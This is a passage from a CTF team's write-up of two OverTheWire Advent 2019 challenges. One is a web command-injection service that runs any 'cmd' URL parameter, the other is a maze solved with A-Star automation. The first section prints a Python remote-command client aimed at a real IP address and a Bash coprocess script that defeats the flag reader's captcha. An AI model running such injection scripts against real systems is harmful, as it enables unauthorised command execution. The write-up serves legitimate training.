462
463  * December 24: 2.25 hours (13:30-15:45)
464
465 ### Overview
466
467 ```
468 Got shell? - web, linux
469 Points: 1337
470
471 Can you get a shell? NOTE: The firewall does not allow outgoing traffic & There are no additional paths on the website.
472 Service: http://3.93.128.89:1224
473 Author: semchapeu
474 ```
475
476 Accessing the website shows some C++ code:
477
478 ```
479 #include "crow_all.h"
480 #include <cstdio>
481 #include <iostream>
482 #include <memory>
483 #include <stdexcept>
484 #include <string>
485 #include <array>
486 #include <sstream>
487
488 std::string exec(const char* cmd) {
489     std::array<char, 128> buffer;
490     std::string result;
491     std::unique_ptr<FILE, decltype(&pclose)> pipe(popen(cmd, "r"), pclose);
492     if (!pipe) {
493         return std::string("Error");
494     }
495     while (fgets(buffer.data(), buffer.size(), pipe.get()) != nullptr) {
496         result += buffer.data();
497     }
498     return result;
499 }
500
501 int main() {
502     crow::SimpleApp app;
503     app.loglevel(crow::LogLevel::Warning);
504
505     CROW_ROUTE(app, "/")
506     ([](const crow::request& req) {
507         std::ostringstream os;
508         if(req.url_params.get("cmd") != nullptr){
509             os << exec(req.url_params.get("cmd"));
510         } else {
511             os << exec("cat ./source.html"); 
512         }
513         return crow::response{os.str()};
514     });
515
516     app.port(1224).multithreaded().run();
517 }
518 ```
519
520 From this, we see that the app uses the [CROW](https://github.com/ipkn/crow) framework for web handling, which is inspired by Python's Flask. From the code, we see that, normally, the website prints the source code. However, if the `cmd` query parameter is provided, it runs this command directly without validation.
521
522 ### Exploitation
523 Passing `ls -hla` reveals:
524
525 ```
526 total 44K
527 drwxr-xr-x 1 root root     4.0K Dec 24 11:56 .
528 drwxr-xr-x 1 root root     4.0K Dec 24 11:56 ..
529 ----r----- 1 root gotshell   38 Dec 24 08:32 flag
530 ------s--x 1 root gotshell  18K Dec  5 17:26 flag_reader
531 -rw-rw-r-- 1 root root      11K Dec 24 08:32 source.html
532 ```
533
534 So, the `flag_reader` binary can access the flag, but we cannot do that directly.
535
536 To make command execution easier, I developed a small Python script:
537
538 ```
539 #!/usr/bin/env python3
540 import sys
541 import requests
542
543 while True:
544     print(" > ", end="", flush=True)
545     command=input()
546     print(" ... ", end="\r", flush=True)
547     payload = { 'cmd': command }
548     req = requests.get("http://3.93.128.89:1224/", params=payload, timeout=2)
549     print(req.text)
550 ```
551
552 Some information:
553
554 ```
555  > id
556 uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
557  > ./flag_reader
558 Got shell?
559 1411293829 + 1732747376 = Incorrect captcha :(
560  > uname -a
561 Linux d2474e4d718f 4.15.0-1051-aws #53-Ubuntu SMP Wed Sep 18 13:35:53 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
562 ```
563
564 The challenge here is that `flag_reader` generates the captcha dynamically and only prints the flag if the response is correct -- However, we do not have access to STDIN. Python is not present on the host. `@stiefel40k` tried to write a Perl script, while I took a go at a Bash script to achieve the same.
565
566 I started by using [awk](https://www.gnu.org/software/gawk/manual/html_node/Arithmetic-Ops.html) to do the arithmetic operation, thinking that this would be easy. Quickly, I had a payload:
567
568 ```
569 ./flag_reader | tail -n 1 | awk '{ sum = $1 + $3 ; \n print sum }'
570 ```
571
572 However, this just prints to STDOUT, we need to pass it to a program earlier in the pipe.
573
574 In the meantime, `@stiefel40k` had developed a local simulation of the flag reader:
575
576 ```
577 #!/bin/bash
578
579 R1=$(echo $RANDOM)
580 R2=$(echo $RANDOM)
581
582 echo "Got a shell?"
583 echo -n "$R1 + $R2 = "
584 read VAL
585 SUM=$(($R1+$R2))
586
587 if [[ $SUM -ne $VAL ]]
588 then
589   echo "Wrong"
590   exit 1
591 else
592   echo "Yes"
593 fi
594 ```
595
596 To be able to dynamically write to the flag reader depending on its output, I used [a little-known feature of Bash](https://www.gnu.org/software/bash/manual/html_node/Coprocesses.html), coprocesses. These StackOverflow questions helped with this: [1](https://stackoverflow.com/questions/5129276/how-to-redirect-stdout-of-2nd-process-back-to-stdin-of-1st-process), [2](https://stackoverflow.com/questions/7689100/bash-coproc-unexpected-behavior).
597
598 ```
599 #!/bin/bash
600 coproc p1 {
601   ./flag_reader
602 }
603
604 #awk '{ sum = $1 + $3 ;
605 #  print sum }' <&${p1[0]} >&${p1[1]}
606 read line <&${p1[0]}
607     echo " -> $line <-"
608
609 read -d "=" captcha <&${p1[0]}
610 solution=$(echo $captcha | awk '{ sum = $1 + $3 ;
611   print sum }')
612 echo "hey solute $solution"
613 echo "$solution" >&${p1[1]}
614
615 echo "hi"
616 tee <&${p1[0]}
617 ```
618
619 This worked locally, but not on the server. I wasn't sure why, but the server had some difficulties, so I added retry logic to the exploit script. Also, I saved the script to `proc.sh` to make it easier to edit and handle:
620
621 ```
622 import sys
623 import requests
624 import requests.exceptions
625
626 script=""
627
628 while True:
629     print(" > ", end="", flush=True)
630     command=input()
631     worked=False
632     while not worked:
633         try:
634             if command == "EXPL":
635                 with open("proc.sh", "r") as file:
636                     script = "".join(file.readlines())
637                 command=script
638             escaped = command.replace("\n", " ").replace('"', '\\"').replace("$", "\\$")
639             full = 'bash -c "'+escaped+'"'#+' ; echo \\"result -> $?\\""'
640             payload = { 'cmd': full}
641             print(full)
642             print(" ... ", end="\r", flush=True)
643             req = requests.get("http://3.93.128.89:1224/", params=payload, timeout=20)
644             print("     ", end="\r", flush=True)
645             print(req.text)
646             print("(done)")
647             worked=True
648         except requests.exceptions.ReadTimeout:
649             print("(timed out)")
650         except requests.exceptions.ConnectionError:
651             print("(connect error)")
652 ```
653
654 What this does is wrap the command in `bash -c`, which is necessary because coprocesses are a Bash-specific feature. It also does some escaping on the script, because it needs to be passed quoted to the shell. Doing this in the file directly was not feasible because I needed to run it locally as well.
655
656 Ultimately, the reason why it did not work was that the co-process syntax I used was not supported on the version of Bash the remote used. (Yay Ubuntu! -- Note the semicolon after the block) Also, `awk` by default outputs large numbers in scientific notation, which the flag reader did not accept:
657
658 ```
659 HELLO
660  -> Got shell? <-
661 hey solute 3.43413e+09
662 hi
663  Incorrect captcha :(
664 ```
665
666 The final Bash script is as follows (`25-proc.sh`): (missing shebang is important because it is combined into a single line)
667
668 ```
669 echo "HELLO";
670 coproc p1 {
671 ./flag_reader;
672 };
673 read line <&${p1[0]};
674 echo " -> $line <-";
675 read -d "=" captcha <&${p1[0]};
676 solution=$(echo $captcha | timeout 1s awk '{ sum = $1 + $3 ;
677   printf "%.0f", sum }');
678 echo "hey solute $solution";
679 echo "$solution" >&${p1[1]};
680 echo "hi";
681 cat <&${p1[0]}
682 ```
683
684 Combined with the Python script from above (`25-shell.py`), this yielded the flag: `AOTW{d1d_y0u_g3t_4n_1n73r4c71v3_5h3ll}`.
685
686 ---
687
688 day-25 Lost in Maze
689 -------------------
690 OverTheWire Advent 2019, day 25
691
692 Discussion in [Mattermost](https://mattermost.w0y.at/otw-advent-2019/channels/day-25-lost-in-maze)
693
694 Full exploit on [GitLab](https://gitlab.w0y.at/ctfs/overthewire-advent-bonanza-2019/tree/master/day-25)
695
696 Time spent for this challenge: 16 hours + 1 hour write-up
697
698  * December 25: 7 hours (15:30-19:30, 21:00-00:00)
699  * December 26: 9 hours (00:00-09:00)
700
701 ### Overview
702
703 ```
704 Lost in Maze - misc
705 Points: 1337
706
707 We have a code red ( and green, gold and white), we have lost Santa.
708 While he was delivering gifts he seems to have gotten a bit tipsy and
709 got lost somewhere over Europe. Luckily we saw this coming, we have a
710 GPS and bodycam on him, but we need your help. Get him out of there and
711 back on track to save Christmas.
712
713 Service: nc 3.93.128.89 1225
714 Author: b0bb
715 ```
716
717 Upon connection, the game presents a fancy splash screen and asks for a screen size:
718
719 ![Start screen](otw19/25-home.png)
720
721 After entering some screen size, the game renders a maze in ASCII art. In the bottom right corner, a mini-map is displayed.
722
723 ![Game screen](otw19/25-initscreen.png)
724
725 Navigation is possible via WASD.
726
727 ### Exploitation
728 #### Mapping the search space
729 I quickly realised that the whole game state can be represented using the little GPS map. Initially, I thought that by turning in specific increments, moving would be possible in straight lines. However, this turned out to be incorrect. The rotations do not allow to move in 90° angles, and the client needs to adjust to the 3D rotation. The exact rotation is not visible in the map, but can be inferred from the big screen. So the first approach I tried was to manually walk through the labyrinth and record the map to have some orientation.
730
731 After some Python™, I arrived at this state:
732
733 ![Small map reconstructed to big map](otw19/25-mapping.png)
734
735 The setup for this consists of [`client.py`](https://gitlab.w0y.at/ctfs/overthewire-advent-bonanza-2019/blob/35e34e8facfce4863ecabc0cb84374da3742e6c6/day-25/client.py) and a [`model.py`](https://gitlab.w0y.at/ctfs/overthewire-advent-bonanza-2019/blob/35e34e8facfce4863ecabc0cb84374da3742e6c6/day-25/model.py). The former handles the connection itself and the interaction logic, while the latter is responsible for modelling the game state as objects and operations on them.
736
737 What the client does at this point is connect to the server, input the screen size, and receive the screen. This is then output to the console. A command prompt allows to move via WASD and export the map to a file. After the sctreen is read, it is also passed to the model.
738
739 This first parses the `ScreenState` to find the GPS and provides the GPS parser with the contents of the GPS itself. It also strips the colour codes used to make the game visually attractive. These are not helpful for parsing content. `GpsState` then takes the GPS lines and parses the current position and target position. Then, it looks for the cursor as center point of reference. next, it parses all walls from the GPS and stores their positions relative to the center. Finally, it adds the current positon to the relative positions to obatain absolute positions of the walls observed. It stores a boolean array of walls for absolute coordinates. Finally, the `Map` object puts this all together and keeps track of current position and map, merging in new information from the GPS for every new screen. It also takes care of printing the map to a string.
740
741 Further, I deduced that distance is encoded as follows:
742
743 ```
744 ` very far
745 -
746 ~
747 :
748 ^
749 r
750 =
751 x
752 z
753 e
754 m
755 &
756 &
757 M
758
759
760 @ no distance
761 ```
762
763 If more than half of the screen is made up of `@` characters, movement is denied. This is a useful heuristic to use later for automatic movement.
764
765 #### Directions for the driver
766 Using fully manual control, I was only able to get to around `(30, 25)` in the 10 minutes of timeout. This is not very good since the target is `(81, 81)`. So, I decided that an algorithm was needed to suggest where I should go. 
767
768 Like a true hacker, I got inspired by someone else's A-Star implementation for this: [Thanks Laurent Luce](https://www.laurentluce.com/posts/solving-mazes-using-python-simple-recursivity-and-a-search/). The implementation wasn't quite perfect and didn't fit all of our needs, so I had to adapt it. The main issue with this implementation of A-Star is that it is designed for a *known* search space, which we do not have. We only know about a small part of the maze via the mini-map. Importantly, heuristics are not stable and previously-promising tiles may lead to a dead end in the next update.
769
770 What the A-Star does is to discover new tiles adjacent to the current position and assign each one a heuristic value. The next tile to visit is the tile with the lowest heuristic value (that is supposed to represent the effort needed to get there). I used square distance to the goal as heuristic.
771
772 The way this is implemented in the [final `model.py`](https://gitlab.w0y.at/ctfs/overthewire-advent-bonanza-2019/blob/master/day-25/model.py#L179) is that after receiving an update, we creates a new `TilePathFinder` to suggest the next target. This stores the current candidate list in a heap (`open`). In `process`, it loops as long as there are candidate tiles. If the next tile is the goal, we return it (the `PqTile` model keeps track of the path we used to get there). Otherwise, we look at its neighbours, compute their heuristic, and add them to the candidate heap.
773
774 Later, I changed this portion of the algorithm to penalise already-visited tiles, because the bot kept getting stuck in locally-optimal solutions that did not take into account that not all of the maze was discovered. I also added a special tile state, `MYSTERY`, to represent that a tile's value is unknown. Later, I modified the algorithm to look primarily at such mystery tiles, because discovering more of the map is far more helpful than staying in the map. (The initial solution went to the tile that was closest to the goal of all known tiles, but this did not always reveal a closer tile.)
775
776 To assist the driver, I visualised visited tiles (blue), the current position (green) and the current A-Star target in the full map:
777
778 ![Map with colours](otw19/25-driver.png)
779
780 #### Automating it
781 However, manual control was still too slow to reach the goal in a reasonable time-frame. I started adding [a small heuristic algorithm](https://gitlab.w0y.at/ctfs/overthewire-advent-bonanza-2019/blob/master/day-25/client.py#L185) to move straight ahead until an obstacle was encountered. This worked, but still needed manual control, had no parallelisation, and couldn't turn or go to a target.
782
783 Next, I added [a more complicated algorithm](https://gitlab.w0y.at/ctfs/overthewire-advent-bonanza-2019/blob/master/day-25/client.py#L103) that keeps track of the A-Star target and past moves. It uses the path information from `PqTile` to move to the A-Star target. If it detects that it gets stuck (this works by analysing the wall distances and if the last few moves changed the screen view), it does some random movement to get unstuck. It also autonomously turns to face the correct direction. Since this works fully automatically, I was able to run this in parallel with three instances running locally and six on a server I own, using Docker. 
784
785 Applying this and incrementally improving the algorithm with different heuristics yielded quite successfuly executions like this:
786
787 ![close to the goal](otw19/25-close.png)
788
789 ![](otw19/25-something.png)
790
791 After reaching the goal for the first time, I learned that `except Exception` does not catch errors in Python, and lost the flag. Sad
792
793 One and a half hours later, the algorithm succeeded again, this time with proper error handling :)
794
795 ```
796 You saved Christmas, here is your reward:
797 AOTW{426573742077697368657320666F7220323032302121}
798 ```
799
800 ---
801
802 Thanks for reading all of this, lol
803